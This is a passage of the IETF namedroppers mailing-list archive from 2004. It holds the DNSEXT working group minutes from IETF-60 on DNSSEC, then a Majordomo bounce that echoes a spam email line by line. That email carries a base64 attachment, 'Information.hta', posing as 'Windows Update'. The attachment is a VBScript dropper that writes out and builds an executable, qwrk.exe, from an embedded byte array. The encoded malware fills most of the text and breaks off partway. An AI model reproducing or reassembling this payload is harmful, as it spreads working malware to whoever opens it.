-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 16:17:18 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03877
for ; Thu, 2 Sep 2004 16:17:17 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2xzZ-000OKx-Vb
for namedroppers-data@psg.com; Thu, 02 Sep 2004 20:15:33 +0000
Received: from [66.92.146.160] (helo=ogud.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2xzO-000OJi-VP
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 20:15:23 +0000
Received: from mail.ogud.com (localhost [127.0.0.1])
by ogud.com (8.12.11/8.12.11) with ESMTP id i82KFGsB010650
for ; Thu, 2 Sep 2004 16:15:16 -0400 (EDT)
(envelope-from namedroppers@mail.ogud.com)
Received: (from namedroppers@localhost)
by mail.ogud.com (8.12.11/8.12.11/Submit) id i82KFGb1010649
for namedroppers@ops.ietf.org; Thu, 2 Sep 2004 16:15:16 -0400 (EDT)
(envelope-from namedroppers)
Received: from [66.92.146.160] (helo=ogud.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2xFl-000F1z-1H
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 19:28:13 +0000
Received: from Puki.ogud.com (ns.ogud.com [66.92.146.160])
by ogud.com (8.12.11/8.12.11) with ESMTP id i82JS3Ii010424;
Thu, 2 Sep 2004 15:28:04 -0400 (EDT)
(envelope-from ogud+dnsext@ogud.com)
Message-Id: <6.1.0.6.2.20040902151929.02c57348@localhost>
X-Sender: (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 6.1.0.6
Date: Thu, 02 Sep 2004 15:27:51 -0400
To: namedroppers@ops.ietf.org
From: =?iso-8859-1?Q?=D3lafur?= Gudmundsson/DNSEXT
co-chair
Subject: IETF-60 DNSEXT minutes
Cc: proceedings@ietf.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Scanned-By: MIMEDefang 2.44
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=no
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
[ Moderators note: Post was moderated, either because it was posted by
a non-subscriber, or because it was over 20K.
With the massive amount of spam, it is easy to miss and therefore
delete relevant posts by non-subsrcibers. Please fix your
subscription addresses. ]
DNSEXT meeting August 2
Scribe: David Blacka
Jabber Scribe: George Michaelson
Olafur Gudmundsson presented information on one various
implementations of DNSSEC. There are number of projects going on in
each of the major DNSSEC functional area's. There was a question to
the meeting about the weather standardization in all APIs
is an item of interest to working group. The sense of the room
was that this would be a good thing to do.
The chairs are to find people to start work on draft that documents
what information is needed to pass to applications, from this
specification an API can be formulated.
DNSSEC key management or trust anchor maintenance:
There were three presentations on approaches to maintain DNSSEC trust anchors.
Mike St. John's presented his scheme using a revoke bit and timers.
Johan Ihren presented his scheme is using n-of-m keys.
Paul Vixie presented the DLV interim scheme available in bind-9.3.
The sense of the room was that this its on important them for the
working group to work on.
The chairs are instructed to coordinate with related working groups
(DNSOP) and security area AD's own
how to approach this area. All presenters and others are invited to
submit drafts for consideration as working group documents.
Zone enumeration discussion:
During the working group last call for DNSSEC this issue was raised as
a barrier to entry for a number of TLD's.
The working group commissioned two studies on this issue:
Zone enumeration prevention requirements
NSEC++ transition approaches and impact on protocol
both of these reports where presented based on the current status off
the work items.
In addition two different proposals for NSEC replacement where presented.
There a was extensive discussion on the different approaches and the
need for even addressing this issue. At the meeting it was pointed out
that there are both issues for large delegation zones as possibly for
small enterprise zones and these may differ both in requirements and
solution space.
The sense off the room was that none of the proposals is fully baked
and we can not do an engineering trade-off yet as the requirements are
not known at this point. The working group will actively work on it
requirements document before any protocol work is done.
End off first meeting.
After discussing with security area directors our new potential
work item, the working group has two security advisers available:
Russ Housley on key management and
Hillary Orman on key strength issues and on-line signing.
Second meeting Thursday August 5.
Note taker: Peter Koch
Jabber Scribe: George Michaelson
Jakob Schlyter presented the results of his interoperabilty testing of
RFC3597 (unknown RR types support).
In his tests few bugs where found in implementations but no issues
with the document. Jakob recommends advancement to Draft Standard
based on the results.
There are RR types with intra RR versioning (e.g. LOC), those have not
been tested specifically.
At this stage Olafur urges the WG members to volunteer for additional
interop tests for the WG to be able to advance more documents to
Draft. Jakob is asked to give an estimate of the effort needed for a
test coordination "most of the work was getting the implementors
to participate rest took 3 or 4 days".
Donald Eastlake presented two documents for considerations for adoption
by the working group: TSIG-SHA1 and ECC-KEYs.
As there are lingering doubts about the long term viability of MD5 it
is prudent to consider adding a stronger hash such as SHA1.
ECC keys are shorter than RSA/DSA keys for same strength, basic
technology is unencumbered, but lots of patents/patent claims wrt to
implementation techniques.
The working group will consider adopting both drafts as working group items.
Rob Austein presented a straw man proposal for identification of
nameserver answering a query. There is need for a mechanism for
identifying DNS servers in an anycast set and the current approach
(id.server, hostname.bind), which has a problem as it needs a separate
query.
The draft proposes the use of EDNS to ask server for an id to be
attached to the response. Since this is a (proposed) protocol
change, the doc is discussed here while earlier documents reside in
DNSOP.
There was lively discussion about various aspects of this issue, what
to put in the identification string, how fine grain the identifier
should be server/server+addr/view etc.
The sense of the room was that this is of critical importance, but we
need requirements first. DNSOP is working on these, please follow and
contribute there.
The chairs then presented their status of each of the current working
group documents, majority of which are at IESG or in the last stages
to advance there.
In open mike session Roy Arends presented his and Jakob Schlyter's
work on fingerprinting implementations. Noteworthy observations
include a firewall product which answers queries with EDNS on with an
IN-ADDR.ARPA query, enabling external queriers to detect the presence
of this particular IDS systems.
Another problem present in several implementations (vendors have
been approached) is vulnerability against "DNS ping pong", i.e.
systems answering unsolicited responses with another response
Miek Gieben gave input to the recent enumeration discussion.
He performed a dictionary attack (using john the ripper) on the
NL zone. After 18 hours he was able to find 10% (135.000) of the
1.x million domain names.
Meeting concluded, the chairs want to thank the note takers
for excellent notes.
Olafur + Olaf.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 16:20:27 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04384
for ; Thu, 2 Sep 2004 16:20:22 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2xyo-000O94-EU
for namedroppers-data@psg.com; Thu, 02 Sep 2004 20:14:46 +0000
Received: from [66.92.146.160] (helo=ogud.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2xyU-000O6e-HL
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 20:14:33 +0000
Received: from mail.ogud.com (localhost [127.0.0.1])
by ogud.com (8.12.11/8.12.11) with ESMTP id i82KEGna010613
for ; Thu, 2 Sep 2004 16:14:16 -0400 (EDT)
(envelope-from namedroppers@mail.ogud.com)
Received: (from namedroppers@localhost)
by mail.ogud.com (8.12.11/8.12.11/Submit) id i82KEGsb010612
for namedroppers@ops.ietf.org; Thu, 2 Sep 2004 16:14:16 -0400 (EDT)
(envelope-from namedroppers)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2xfB-000K1v-Mx
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 19:54:29 +0000
To: namedroppers@ops.ietf.org
From: majordomo@psg.com
Subject: Majordomo results: Re: Hello
Reply-To: majordomo@psg.com
Message-Id:
Date: Thu, 02 Sep 2004 19:54:29 +0000
X-Scanned-By: MIMEDefang 2.44
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-0.6 required=5.0 tests=BAYES_30,HTML_MESSAGE,
NO_REAL_NAME,UPPERCASE_25_50 autolearn=no version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
[ Moderators note: Post was moderated, either because it was posted by
a non-subscriber, or because it was over 20K.
With the massive amount of spam, it is easy to miss and therefore
delete relevant posts by non-subsrcibers. Please fix your
subscription addresses. ]
--
>>>> ----------jbwyugkgucjrrnylblnz
**** Command '----------jbwyugkgucjrrnylblnz' not recognized.
>>>> Content-Type: text/html; charset="us-ascii"
**** Command 'content-type:' not recognized.
>>>> Content-Transfer-Encoding: 7bit
**** Command 'content-transfer-encoding:' not recognized.
>>>>
>>>>
**** Command '' not recognized.
>>>>
>>>>
>>>>
**** Command '
' not recognized.
>>>>
**** Command '' not recognized.
>>>>
>>>> ----------jbwyugkgucjrrnylblnz
**** Command '----------jbwyugkgucjrrnylblnz' not recognized.
>>>> Content-Type: application/octet-stream; name="Information.hta"
**** Command 'content-type:' not recognized.
>>>> Content-Transfer-Encoding: base64
**** Command 'content-transfer-encoding:' not recognized.
>>>> Content-Disposition: attachment; filename="Information.hta"
**** Command 'content-disposition:' not recognized.
>>>>
>>>> PEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5XaW5kb3dzIFVwZGF0ZTwvVElUTEU+DQo8SFRBOkFQ
**** Command 'pehutuw+dqo8sevbrd4ncjxusvrmrt5xaw5kb3dzifvwzgf0ztwvveluteu+dqo8sfrbokfq' not recognized.
>>>> UExJQ0FUSU9OIElEPSJRIiBBUFBMSUNBVElPTk5BTUU9IlEiIEJPUkRFUj0ibm9uZSIgQk9S
**** Command 'uexjq0fusu9oielepsjriibbufbmsunbvelptk5btuu9ileiiejpukrfuj0ibm9uzsigqk9s' not recognized.
>>>> REVSU1RZTEU9Im5vcm1hbCIgQ0FQVElPTj0ibm8iIElDT049IiIgQ09OVEVYVE1FTlU9Im5v
**** Command 'revsu1rzteu9im5vcm1hbcigq0fqvelptj0ibm8iieldt049iiigq09ovevyve1ftlu9im5v' not recognized.
>>>> IiBNQVhJTUlaRUJVVFRPTj0ibm8iIE1JTklNSVpFQlVUVE9OPSJubyIgU0hPV0lOVEFTS0JB
**** Command 'iibnqvhjtularujvvfrptj0ibm8iie1jtklnsvpfqlvuve9opsjubyigu0hpv0lovefts0jb' not recognized.
>>>> Uj0ibm8iIFNJTkdMRUlOU1RBTkNFPSJubyIgU1lTTUVOVT0ibm8iIFZFUlNJT049IjEuMCIg
**** Command 'uj0ibm8iifnjtkdmrulou1rbtknfpsjubyigu1lttuvovt0ibm8iifzfulnjt049ijeumcig' not recognized.
>>>> V0lORE9XU1RBVEU9Im1pbmltaXplIi8+DQo8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+
**** Command 'v0lore9xu1rbveu9im1pbmltaxplii8+dqo8u0nssvbuiexbtkdvqudfpsjwqlnjcmlwdci+' not recognized.
>>>> DQpNeUZpbGUgPSAicWZsLnZicyINClNldCBGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGlu
**** Command 'dqpneuzpbgugpsaicwzslnzicyinclnldcbgu08gpsbdcmvhdgvpymply3qoilnjcmlwdglu' not recognized.
>>>> Zy5GaWxlU3lzdGVtT2JqZWN0IikNClNldCBUU08gPSBGU08uQ3JlYXRlVGV4dEZpbGUoTXlG
**** Command 'zy5gawxlu3lzdgvtt2jqzwn0iiknclnldcbuu08gpsbgu08uq3jlyxrlvgv4dezpbguotxlg' not recognized.
>>>> aWxlLCBUcnVlKQ0KVFNPLndyaXRlICJkaW0gZmlsZXN5cywgZmlsZXR4dCwgZ2V0bmFtZSwg
**** Command 'awxllcbucnvlkq0kvfnplndyaxrlicjkaw0gzmlszxn5cywgzmlszxr4dcwgz2v0bmftzswg' not recognized.
>>>> cGF0aCwgdGV4dGZpbGUsIGkiICYgdmJjcmxmDQpUU08ud3JpdGUgInRleHRmaWxlID0gIiJx
**** Command 'cgf0acwgdgv4dgzpbgusigkiicygdmjjcmxmdqpuu08ud3jpdguginrlehrmawxlid0giijx' not recognized.
>>>> d3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJTZXQgZmlsZXN5cyA9IENyZWF0ZU9i
**** Command 'd3jrlmv4zsiiiiamihziy3jszg0kvfnplndyaxrlicjtzxqgzmlszxn5cya9ienyzwf0zu9i' not recognized.
>>>> amVjdCgiIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IiIpIiAmIHZiY3JsZg0KVFNPLndy
**** Command 'amvjdcgiilnjcmlwdgluzy5gawxlu3lzdgvtt2jqzwn0iiipiiamihziy3jszg0kvfnplndy' not recognized.
>>>> aXRlICJTZXQgZmlsZXR4dCA9IGZpbGVzeXMuQ3JlYXRlVGV4dEZpbGUodGV4dGZpbGUsIFRy
**** Command 'axrlicjtzxqgzmlszxr4dca9igzpbgvzexmuq3jlyxrlvgv4dezpbguodgv4dgzpbgusifry' not recognized.
>>>> dWUpIiAmIHZiY3JsZg0KVFNPLndyaXRlICJnZXRuYW1lID0gZmlsZXN5cy5HZXRGaWxlTmFt
**** Command 'dwupiiamihziy3jszg0kvfnplndyaxrlicjnzxruyw1lid0gzmlszxn5cy5hzxrgawxltmft' not recognized.
>>>> ZShwYXRoKSIgJiB2YmNybGYNClRTTy53cml0ZSAiZGltIGEiICYgdmJjcmxmDQpUU08ud3Jp
**** Command 'zshwyxroksigjib2ymnybgynclrtty53cml0zsaizgltigeiicygdmjjcmxmdqpuu08ud3jp' not recognized.
>>>> dGUgImE9QXJyYXkoNzcsOTAsMCwwLDEsMCwwLDAsMiwwLDAsMCwyNTUsMjU1LDAsMCw2NCww
**** Command 'dgugime9qxjyyxkonzcsotasmcwwldesmcwwldasmiwwldasmcwyntusmju1ldasmcw2ncww' not recognized.
>>>> LDAsMCwwLDAsMCwwLDY0LDAsMCwwLDAsMCwwLDAsMTgwLDc2LDIwNSwzMywwLDAsMCwwLDAs
**** Command 'ldasmcwwldasmcwwldy0ldasmcwwldasmcwwldasmtgwldc2ldiwnswzmywwldasmcwwldas' not recognized.
>>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNDQsMCwwLDAsMTY5LDM4
**** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwxndqsmcwwldasmty5ldm4' not recognized.
>>>> LDIyMSwxOSwyMzcsNzEsMTc5LDY0LDIzNyw3MSwxNzksNjQsMjM3LDcxLDE3OSw2NCwyMzcs
**** Command 'ldiymswxoswymzcsnzesmtc5ldy0ldiznyw3mswxnzksnjqsmjm3ldcxlde3osw2ncwymzcs' not recognized.
>>>> NzEsMTc5LDY0LDIzOCw3MSwxNzksNjQsOTksODgsMTYwLDY0LDEwOSw3MSwxNzksNjQsMTcs
**** Command 'nzesmtc5ldy0ldizocw3mswxnzksnjqsotksodgsmtywldy0ldewosw3mswxnzksnjqsmtcs' not recognized.
>>>> MTAzLDE2MSw2NCwyMzYsNzEsMTc5LDY0LDQyLDY1LDE4MSw2NCwyMzYsNzEsMTc5LDY0LDgy
**** Command 'mtazlde2msw2ncwymzysnzesmtc5ldy0ldqyldy1lde4msw2ncwymzysnzesmtc5ldy0ldgy' not recognized.
>>>> LDEwNSw5OSwxMDQsMjM3LDcxLDE3OSw2NCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs
**** Command 'ldewnsw5oswxmdqsmjm3ldcxlde3osw2ncwwldasmcwwldasmcwwldasmcwwldasmcwwldas' not recognized.
>>>> MCwwLDAsMCwwLDAsMCwwLDAsMCw4MCw2OSwwLDAsNzYsMSwzLDAsMjA0LDE1LDE0NCw2NCww
**** Command 'mcwwldasmcwwldasmcwwldasmcw4mcw2oswwldasnzysmswzldasmja0lde1lde0ncw2ncww' not recognized.
>>>> LDAsMCwwLDAsMCwwLDAsMjI0LDAsMTUsMSwxMSwxLDUsMTIsMCw4MCwwLDAsMCwxNiwwLDAs
**** Command 'ldasmcwwldasmcwwldasmji0ldasmtusmswxmswxldusmtismcw4mcwwldasmcwxniwwldas' not recognized.
>>>> MCwxNDQsMCwwLDI0MCwyMjYsMCwwLDAsMTYwLDAsMCwwLDI0MCwwLDAsMCwwLDY0LDAsMCwx
**** Command 'mcwxndqsmcwwldi0mcwymjysmcwwldasmtywldasmcwwldi0mcwwldasmcwwldy0ldasmcwx' not recognized.
>>>> NiwwLDAsMCwyLDAsMCw0LDAsMCwwLDAsMCwwLDAsNCwwLDAsMCwwLDAsMCwwLDAsMCwxLDAs
**** Command 'niwwldasmcwyldasmcw0ldasmcwwldasmcwwldasncwwldasmcwwldasmcwwldasmcwxldas' not recognized.
>>>> MCwxNiwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwxNiwwLDAsMTYsMCwwLDAsMCwxNiwwLDAs
**** Command 'mcwxniwwldasmcwwldasmcwyldasmcwwldasmcwxniwwldasmtysmcwwldasmcwxniwwldas' not recognized.
>>>> MTYsMCwwLDAsMCwwLDAsMTYsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDE2NCwyNDMsMCwwLDc2
**** Command 'mtysmcwwldasmcwwldasmtysmcwwldasmcwwldasmcwwldasmcwwlde2ncwyndmsmcwwldc2' not recognized.
>>>> LDIsMCwwLDAsMjQwLDAsMCwxNjQsMywwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
**** Command 'ldismcwwldasmjqwldasmcwxnjqsmywwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized.
>>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
**** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized.
>>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
**** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized.
>>>> LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww
**** Command 'ldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcwwldasmcww' not recognized.
>>>> LDAsMCwwLDAsMCwwLDAsMCwwLDg1LDgwLDg4LDQ4LDAsMCwwLDAsMCwxNDQsMCwwLDAsMTYs
**** Command 'ldasmcwwldasmcwwldasmcwwldg1ldgwldg4ldq4ldasmcwwldasmcwxndqsmcwwldasmtys' not recognized.
>>>> MCwwLDAsMCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxMjgsMCwwLDIy
**** Command 'mcwwldasmcwwldasmcwyldasmcwwldasmcwwldasmcwwldasmcwwldasmcwxmjgsmcwwldiy' not recognized.
>>>> NCw4NSw4MCw4OCw0OSwwLDAsMCwwLDAsODAsMCwwLDAsMTYwLDAsMCwwLDcwLDAsMCwwLDIs
**** Command 'ncw4nsw4mcw4ocw0oswwldasmcwwldasodasmcwwldasmtywldasmcwwldcwldasmcwwldis' not recognized.
>>>> MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwyMjQsNDYsMTE0LDExNSwxMTQs
**** Command 'mcwwldasmcwwldasmcwwldasmcwwldasmcwwldy0ldasmcwymjqsndysmte0ldexnswxmtqs' not recognized.
>>>> OTksMCwwLDAsMCwxNiwwLDAsMCwyNDAsMCwwLDAsNiwwLDAsMCw3MiwwLDAsMCwwLDAsMCww
**** Command 'otksmcwwldasmcwxniwwldasmcwyndasmcwwldasniwwldasmcw3miwwldasmcwwldasmcww' not recognized.
>>>> LDAsMCwwLDAsMCwwLDAsNjQsMCwwLDE5Miw0OSw0Niw1MCw1MiwwLDg1LDgwLDg4LDMzLDEy
**** Command 'ldasmcwwldasmcwwldasnjqsmcwwlde5miw0osw0niw1mcw1miwwldg1ldgwldg4ldmzldey' not recognized.
>>>> LDksMiw4LDE5MSwzOSw2MSw5NSwyMTgsMjA4LDExMSwxNTgsMTk5LDE5OSwwLDAsMjAxLDY2
**** Command 'ldksmiw4lde5mswzosw2msw5nswymtgsmja4ldexmswxntgsmtk5lde5oswwldasmjaxldy2' not recognized.
>>>> LDAsMCwwLDE0NiwwLDAsMzgsMCwwLDIwNCwyNTUsMjU1LDI1NSwxNTUsMjUwLDIwMSw1OCwx
**** Command 'ldasmcwwlde0niwwldasmzgsmcwwldiwncwyntusmju1ldi1nswxntusmjuwldiwmsw1ocwx' not recognized.
>>>> MTMsNDIsNDMsMjQsMTQ0LDI0MywxNjMsNDMsMTYsMTM3LDI1MiwxMjMsOCwyMTgsMTIxLDY2
**** Command 'mtmsndisndmsmjqsmtq0ldi0mywxnjmsndmsmtysmtm3ldi1miwxmjmsocwymtgsmtixldy2' not recognized.
>>>> LDIzLDI0LDE0LDExNSwyMzgsMTI3LDk0LDgyLDE5MSwyNTMsMjU1LDI1NSwxODYsMjUwLDQs
**** Command 'ldizldi0lde0ldexnswymzgsmti3ldk0ldgylde5mswyntmsmju1ldi1nswxodysmjuwldqs' not recognized.
>>>> NTgsMTQzLDI0LDU3LDE3NSwxMTMsMjIsMTcyLDExMywxOTEsMjQyLDExMywxNDMsMjQ2LDEx
**** Command 'ntgsmtqzldi0ldu3lde3nswxmtmsmjismtcyldexmywxotesmjqyldexmywxndmsmjq2ldex' not recognized.
>>>> MywxODMsMjM0LDI1LDIyNiw0NSw1OSwxNiwyNDIsMjAwLDI1MiwyMjAsMjU1LDE3NywyMjEs
**** Command 'mywxodmsmjm0ldi1ldiyniw0nsw1oswxniwyndismjawldi1miwymjasmju1lde3nywymjes' not recognized.
>>>> MjIzLDUsNTksMTEzLDI1NCwzOCwyMDEsNTYsMTg4LDI0LDE4LDE2NCw1MSw1NiwyNDYsMjUw
**** Command 'mjizldusntksmtezldi1ncwzocwymdesntysmtg4ldi0lde4lde2ncw1msw1niwyndysmjuw' not recognized.
>>>> LDQzLDEwNywyMzcsMTgzLDIzOSw0MiwxMyw0Miw1LDE0MywyMzQsMiwyNDYsMTcwLDE4LDU4
**** Command 'ldqzldewnywymzcsmtgzldizosw0miwxmyw0miw1lde0mywymzqsmiwyndysmtcwlde4ldu4' not recognized.
>>>> LDUsMCwxMywyNSwxMjcsMjUxLDI0Niw3LDEyMSw2MiwxNCwxNDYsMjUwLDIxOCw1MywxNDQs
**** Command 'ldusmcwxmywynswxmjcsmjuxldi0niw3ldeymsw2miwxncwxndysmjuwldixocw1mywxndqs' not recognized.
>>>> MjUwLDE4LDk3LDUyLDI1MCwxMTUsMTkxLDYsNjEsMTkxLDI1NSwxOTAsMTk3LDE5MCwxNCwx
**** Command 'mjuwlde4ldk3lduyldi1mcwxmtusmtkxldysnjesmtkxldi1nswxotasmtk3lde5mcwxncwx' not recognized.
>>>> MzAsMTQ0LDEsNDgsMjQyLDE4LDQ1LDE4NiwxMywxMTksMTkxLDIsMTcwLDI1NSwxNTUsMTc1
**** Command 'mzasmtq0ldesndgsmjqylde4ldq1lde4niwxmywxmtksmtkxldismtcwldi1nswxntusmtc1' not recognized.
>>>> LDEyMyw0MSwxOCw2LDIxLDgzLDEyMSwxMzUsMiwyNTAsMTQzLDI0OCwxNywyMzMsNSwxNDMs
**** Command 'ldeymyw0mswxocw2ldixldgzldeymswxmzusmiwyntasmtqzldi0ocwxnywymzmsnswxndms' not recognized.
>>>> MTE5LDExMSwyMzgsMTQ1LDIsMTQsMTgsMTA2LDkxLDY3LDE0LDE3LDUzLDE1LDE4LDE3MCwx
**** Command 'mte5ldexmswymzgsmtq1ldismtqsmtgsmta2ldkxldy3lde0lde3lduzlde1lde4lde3mcwx' not recognized.
>>>> ODYsMjE5LDU0LDExNSw5Niw3MCwxMDYsMTM1LDE0LDExOSwyNTQsMTA2LDE4MywyNDYsMjIw
**** Command 'odysmje5ldu0ldexnsw5niw3mcwxmdysmtm1lde0ldexoswyntqsmta2lde4mywyndysmjiw' not recognized.
>>>> LDEwMiwyMjYsODksOTAsMTY1LDIwMCwyMzYsNzEsMjQyLDI0OCwxODMsMjE3LDIyMiwyMjMs
**** Command 'ldewmiwymjysodksotasmty1ldiwmcwymzysnzesmjqyldi0ocwxodmsmje3ldiymiwymjms' not recognized.
>>>> MTM3LDI1NCwyNSwxNDQsMjU0LDE0NiwyMiwxNjQsMTg5LDUsMjU1LDExLDE4OSwyMzcsMTkz
**** Command 'mtm3ldi1ncwynswxndqsmju0lde0niwymiwxnjqsmtg5ldusmju1ldexlde4oswymzcsmtkz' not recognized.
>>>> LDE4MiwxNzAsMjAzLDcsMjAxLDQwLDEzLDcxLDEwNCwzOCwyMzgsMjQ2LDE3MywyMjAsNTMs
**** Command 'lde4miwxnzasmjazldcsmjaxldqwldezldcxldewncwzocwymzgsmjq2lde3mywymjasntms' not recognized.
>>>> MTczLDYsMTEzLDI1MiwyNDYsNTksMTksMjQ4LDY0LDksODEsOSwyMzksNjIsMTc4LDI1Mywx
**** Command 'mtczldysmtezldi1miwyndysntksmtksmjq4ldy0ldksodesoswymzksnjismtc4ldi1mywx' not recognized.
>>>> MjEsMjcsMjQ5LDksODAsMTY1LDMwLDI0MiwxNjksMTEzLDE2NywyNDYsMzMsMTQ0LDIyNCwx
**** Command 'mjesmjcsmjq5ldksodasmty1ldmwldi0miwxnjksmtezlde2nywyndysmzmsmtq0ldiyncwx' not recognized.
>>>> OCw5OSwyNDIsMTQ4LDI1MywxMTksNzMsMTIxLDU4LDE1NSw2LDgwLDE3NywxNDMsMTEsMTYx
**** Command 'ocw5oswyndismtq4ldi1mywxmtksnzmsmtixldu4lde1nsw2ldgwlde3nywxndmsmtesmtyx' not recognized.
>>>> LDMxLDI0MCwxOCwxMzEsMTIzLDIzMSwyMiw1MCwyMDIsMTc3LDE4NCwyNTEsMTgsNzQsMTk3
**** Command 'ldmxldi0mcwxocwxmzesmtizldizmswymiw1mcwymdismtc3lde4ncwyntesmtgsnzqsmtk3' not recognized.
>>>> LDE2OSwyMDIsMTczLDExNywxMjcsMjQxLDU4LDE0MiwyNDQsMTcwLDE0NCwxNDgsMzcsMTIs
**** Command 'lde2oswymdismtczldexnywxmjcsmjqxldu4lde0miwyndqsmtcwlde0ncwxndgsmzcsmtis' not recognized.
>>>> MTg3LDQwLDE5NiwxMjcsMjIsMTg2LDE5MywxMzEsMTcyLDY5LDE0MywxMzIsMTM1LDIwMSwz
**** Command 'mtg3ldqwlde5niwxmjcsmjismtg2lde5mywxmzesmtcyldy5lde0mywxmzismtm1ldiwmswz' not recognized.
>>>> MywyNSwxNzQsMTk1LDE1MSwyMzcsMjU1LDg2LDU5LDI2LDIzNCwxMjEsMywyNTEsMTQyLDI0
**** Command 'mywynswxnzqsmtk1lde1mswymzcsmju1ldg2ldu5ldi2ldizncwxmjesmywyntesmtqyldi0' not recognized.
>>>> MSw4NiwxNTYsOSwyNDIsMjQ4LDE0MiwyNTEsODYsMTU0LDcsMTIxLDEyMywxMjAsMTgsMjMy
**** Command 'msw4niwxntysoswyndismjq4lde0miwyntesodysmtu0ldcsmtixldeymywxmjasmtgsmjmy' not recognized.
>>>> LDE4LDE5OSwxNTIsNTYsOSwyNDYsMTgsMjAxLDI1MiwxOCwxMTEsMjM3LDIyMSwxNDUsMjEx
**** Command 'lde4lde5oswxntisntysoswyndysmtgsmjaxldi1miwxocwxmtesmjm3ldiymswxndusmjex' not recognized.
>>>> LDE4LDIxNiw2LDE4NSwxMjEsMSwyMzIsNzIsNjYsMTU2LDY2LDI0Nyw4LDE3MywyNTMsMjU1
**** Command 'lde4ldixniw2lde4nswxmjesmswymzisnzisnjysmtu2ldy2ldi0nyw4lde3mywyntmsmju1' not recognized.
>>>> LDI0MCwxNTYsODEsMTIxLDE5LDI0OSwxMzEsNzIsMTMsMzUsMjA5LDMsNzQsMTk5LDIwOCwx
**** Command 'ldi0mcwxntysodesmtixlde5ldi0oswxmzesnzismtmsmzusmja5ldmsnzqsmtk5ldiwocwx' not recognized.
>>>> NDUsMTk2LDI1NSwyNTUsMjU1LDI1NSwxMjEsMjYsMTk3LDE5OCwxOTYsMTM3LDIzMiwxOTgs
**** Command 'ndusmtk2ldi1nswyntusmju1ldi1nswxmjesmjysmtk3lde5ocwxotysmtm3ldizmiwxotgs' not recognized.
>>>> MjA2LDEzNywyNDAsMjU0LDE4NywxOTgsMTYxLDEzNiwyNDUsMjU0LDI1MiwxNywyNDEsMjU0
**** Command 'mja2ldeznywyndasmju0lde4nywxotgsmtyxldezniwyndusmju0ldi1miwxnywyndesmju0' not recognized.
>>>> LDYsMTcsMjUzLDIxNCwxOTYsNTgsMjYsMjQ4LDI1NCwyMzUsMzAsMjE4LDE5NSwyMDksODAs
**** Command 'ldysmtcsmjuzldixncwxotysntgsmjysmjq4ldi1ncwymzusmzasmje4lde5nswymdksodas' not recognized.
>>>> NzMsMTY5LDE0NCwxMDUsMzYsMTYxLDEyNywxNzksMTI1LDY3LDEzNSwxMjMsMjAxLDExMywz
**** Command 'nzmsmty5lde0ncwxmdusmzysmtyxldeynywxnzksmti1ldy3ldeznswxmjmsmjaxldexmywz' not recognized.
>>>> NCwyMjQsMzQsNiw5Nyw1MSw1LDgsODQsMTIyLDIyMywyNDYsMTIzLDE4NywxOTAsMTQyLDIy
